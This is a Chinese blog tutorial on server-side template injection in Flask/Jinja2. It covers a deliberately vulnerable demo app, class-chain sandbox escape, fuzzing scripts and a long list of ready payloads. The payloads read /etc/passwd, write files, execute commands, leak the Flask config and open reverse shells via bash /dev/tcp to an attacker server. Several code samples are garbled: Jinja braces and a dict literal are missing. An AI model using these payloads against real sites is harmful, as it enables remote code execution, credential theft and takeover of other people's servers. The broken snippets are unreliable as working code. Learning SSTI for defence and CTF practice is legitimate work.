详解SSTI模板注入
Posted H3rmesk1t
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了详解SSTI模板注入相关的知识,希望对你有一定的参考价值。
详解SSTI模板注入
- SSTI简介
- 常见的模板引擎
- SSTI产生的原因
- 常用检测工具 Tplmap
- Flask/Jinja模板引擎的相关绕过
SSTI简介
- MVC是一种框架型模式,全名是Model View Controller
- 即模型(model)-视图(view)-控制器(controller),在MVC的指导下开发中用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,得到更好的开发和维护效率
- 在MVC框架中,用户的输入通过 View 接收,交给 Controller ,然后由 Controller 调用 Model 或者其他的 Controller 进行处理,最后再返回给 View ,这样就最终显示在我们的面前了,那么这里的 View 中就会大量地用到一种叫做模板的技术
- 绕过服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,而模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,就会导致敏感信息泄露、代码执行、GetShell 等问题
- 虽然市面上关于SSTI的题大都出在python上,但是这种攻击方式请不要认为只存在于 Python 中,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言
常见的模板引擎
php
- Smarty:Smarty 算是一种很老的 PHP 模板引擎,使用的比较广泛
- Twig:Twig 是来自于 Symfony 的模板引擎,它非常易于安装和使用,它的操作有点像 Mustache 和 liquid
- Blade:Blade 是 Laravel 提供的一个既简单又强大的模板引擎,和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP 代码,所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给应用增加任何额外负担
JAVA
- JSP:这个是一个非常的经典 Java 的模板引擎
- Velocity:Velocity 作为历史悠久的模板引擎不单单可以替代 JSP 作为 Java Web 的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力
PYTHON
- Jinja2:flask jinja2 一直是一起说的,使用非常的广泛
- django:django 应该使用的是专属于自己的一个模板引擎,django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的
- tornado:tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发
RUBY
ERB:全称是Embedded RuBy,意思是嵌入式的Ruby,是一种文本模板技术,和 JSP 的语法很像
GOLANG
- 关于 Golang Template 的 SSTI 研究目前来说还比较少,可能是因为本身设计的也比较安全,现在一般是点和作用域的问题
SSTI产生的原因
- 服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题
常用检测工具 Tplmap
Flask/Jinja模板引擎的相关绕过
- 由于 Flask/Jinja 模板引擎的出现漏洞的几率较大,网上对于这方面的分析的文章也很多,这里对其做个总结
Flask简介
- Flask 是一个用 Python 编写的 Web 应用程序框架,其优点是提供给用户的扩展能力很强,框架只完成了简单的功能,有很大一部分功能可以让用户自己选择并实现
demo漏洞代码
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test',methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' %(request.url)
return render_template_string(template)
if __name__ == '__main__':
app.run(host='127.0.0.1', debug=True)
基础知识
沙盒逃逸
- 沙箱逃逸就是在一个代码执行环境下 (Oj 或使用 socat 生成的交互式终端),脱离种种过滤和限制,最终成功拿到 shell 权限的过程
Python的内建函数
- 启动 python 解释器时,即使没有创建任何变量或函数还是会有很多函数可供使用,这些就是 python 的内建函数
- 在 Python 交互模式下,使用命令
dir('builtins')
即可查看当前 Python 版本的一些内建变量、内建函数,内建函数可以调用一切函数
名称空间
- 要了解内建函数是如何工作的,首先需要需要了解一下名称空间,Python 的名称空间是从名称到对象的映射,在 Python 程序的执行过程中至少会存在两个名称空间
- 内建名称空间:Python 自带的名字,在 Python 解释器启动时产生,存放一些 Python 内置的名字
- 全局名称空间:在执行文件时,存放文件级别定义的名字
- 局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效
- 加载顺序:内置名称空间 —> 全局名称空间 —> 局部名称空间
- 名字的查找顺序:局部名称空间 —> 全局名称空间 —> 内置名称空间
类继承
- 构造 Python-SSTI 的 Payload 需要什么是类继承
- Python 中一切均为对象,均继承于 object 对象,Python 的 object 类中集成了很多的基础函数,假如需要在 Payload 中使用某个函数就需要用 object 去操作
- 常见的继承关系的方法有以下三种:
- base:对象的一个基类,一般情况下是 object
- mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object 在最底层所以在列表中的最后,通过 mro[-1] 可以获取到
- subclasses():继承此对象的子类,返回一个列表
- 攻击方式为:变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量
寻找Python-SSTI攻击载荷的过程
攻击载荷过程
- 获取基本类
对于返回的是定义的Class类的话:
__dict__ //返回类中的函数和属性,父类子类互不影响
__base__ //返回类的父类 python3
__mro__ //返回类继承的元组,(寻找父类) python3
__init__ //返回类的初始化方法
__subclasses__() //返回类中仍然可用的引用 python3
__globals__ //对包含函数全局变量的字典的引用 python3
对于返回的是类实例的话:
__class__ //返回实例的对象,可以使类实例指向Class,使用上面的魔术方法
''.__class__.__mro__[-1]
.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
- 此外,在引入了 Flask/Jinja 的相关模块后还可以通过以下字符来获取基本类
config
request
url_for
get_flashed_messages
self
redirect
- 获取基本类后,继续向下获取基本类 (object) 的子类
object.__subclasses__()
- 找到重载过的
__init__
类,在获取初始化属性后,带wrapper
的说明没有重载,寻找不带warpper
的;也可以利用.index()
去找file
,warnings.catch_warnings
''.__class__.__mro__[2].__subclasses__()[99].__init__
<slot wrapper '__init__' of 'object' objects>
''.__class__.__mro__[2].__subclasses__()[59].__init__
<unbound method WarningMessage.__init__>
- 查看其引用
__builtins__
''.__class__.__mro__[2].__subclasses__()[138].__init__.__globals__['__builtins__']
- 这里会返回 dict 类型,寻找 keys 中可用函数,使用 keys 中的 file 等函数来实现读取文件的功能
''.__class__.__mro__[-1].__subclasses__()[138].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
常用的目标函数
file
subprocess.Popen
os.popen
exec
eval
常见的中间对象
catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
lipsum.__globals__.__builtins__.open("/flag").read()
linecache.os.system('ls')
fuzz可利用类脚本
- 例如对 subprocess.Popen 可以构造如下 fuzz 脚本
import requests
url = ""
index = 0
for i in range(100, 1000):
#print i
payload = "''.__class__.__mro__[-1].__subclasses__()[%d]" % (i)
params =
"search": payload
#print(params)
req = requests.get(url,params=params)
#print(req.text)
if "subprocess.Popen" in req.text:
index = i
break
print("index of subprocess.Popen:" + str(index))
print("payload:''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()" % i)
服务端fuzz
- 利用
%for%
语句块来在服务端进行 fuzz
% for c in [].__class__.__base__.__subclasses__() %
% if c.__name__=='catch_warnings' %
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()")
% endif %
% endfor %
Python常用的命令执行方式
- os.system():该方法的参数就是 string 类型的命令,在 linux 上返回值为执行命令的 exit 值;而windows上返回值则是运行命令后 shell 的返回值;注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
- os.popen():返回的是 file read 的对象,如果想获取执行命令的输出,则需要调用该对象的 read() 方法
Python-Web框架配置文件
Tornado
handler.settings
:handler.settings-> RequestHandler.application.settings,可以获取当前 application.settings,从中获取到敏感信息
flaks
- 内置函数:config 是 Flask 模版中的一个全局对象,代表"当前配置对象(flask.config)",是一个类字典的对象,包含了所有应用程序的配置值,在大多数情况下包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值
- url_for():用于反向解析生成 url
- get_flashed_messages():用于获取 flash 消息
url_for.__globals__['__builtins__'].__import__('os').system('ls')
如果过滤了config且框架是flask的话便可以使用如下payload进行代替
get_flashed_messages.__globals__['current_app'].config
url_for.__globals__['current_app'].config
Flask过滤器
定义
- flask 过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤,可以参考 php 伪协议中的 php://filter 协议,支持链式过滤
使用方式
变量|过滤器
variable|filter(args)
variable|filter //如果过滤器没有参数可以不加括号
用的过滤器
int():将值转换为int类型;
float():将值转换为float类型;
lower():将字符串转换为小写;
upper():将字符串转换为大写;
title():把值中的每个单词的首字母都转成大写;
capitalize():把变量值的首字母转成大写,其余字母转小写;
trim():截取字符串前面和后面的空白字符;
wordcount():计算一个长字符串中单词的个数;
reverse():字符串反转;
replace(value,old,new): 替换将old替换为new的字符串;
truncate(value,length=255,killwords=False):截取length长度的字符串;
striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
escape()或e:转义字符,会将<、>等符号转义成HTML中的符号,显例:content|escape或content|e;
safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义,示例: '<em>hello</em>'|safe;
list():将变量列成列表;
string():将变量转换成字符串;
join():将一个序列中的参数值拼接成字符串;
abs():返回一个数值的绝对值;
first():返回一个序列的第一个元素;
last():返回一个序列的最后一个元素;
format(value,arags,*kwargs):格式化字符串,比如: "%s" - "%s"|format('Hello?',"Foo!") 将输出:Helloo? - Foo!
length():返回一个序列或者字典的长度;
sum():返回列表内数值的和;
sort():返回排序后的列表;
default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替,示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代,boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true,也可以使用or来替换
模块查找脚本
- Python2
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print num,item
num+=1
except:
num+=1
- Python3
#!/usr/bin/python3
# coding=utf-8
# python 3.5
#jinja2模板
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate(.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("% for c in [].__class__.__base__.__subclasses__() %% if c.__name__=='" + i.__name__ + "' % c." + attr + ".__globals__['__builtins__']." + goal + "(\\"[evil]\\") % endif %% endfor %")
常见Payload
- Python2
#python2有file
#读取密码
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
#写文件
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
#OS模块
system
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
popen
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
#eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
#反弹shell
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/xxxx/9999 0>&1"')
注意该Payload不能直接放在 URL 中执行 , 因为 & 的存在会导致 URL 解析出现错误,可以使用burp等工具
#request.environ
与服务器环境相关的对象字典
- Python3
#python3没有file,用的是open
#文件读取
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()
().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()')
#命令执行
% for c in [].__class__.__base__.__subclasses__() %% if c.__name__=='catch_warnings' % c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") % endif %% endfor %
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
常见可利用类
- 文件读取_方法一_子模块利用
- 存在的子模块可以通过
.index()
来进行查询,如果存在的话返回索引
''.__class__.__mro__[2].__subclasses__().index(file)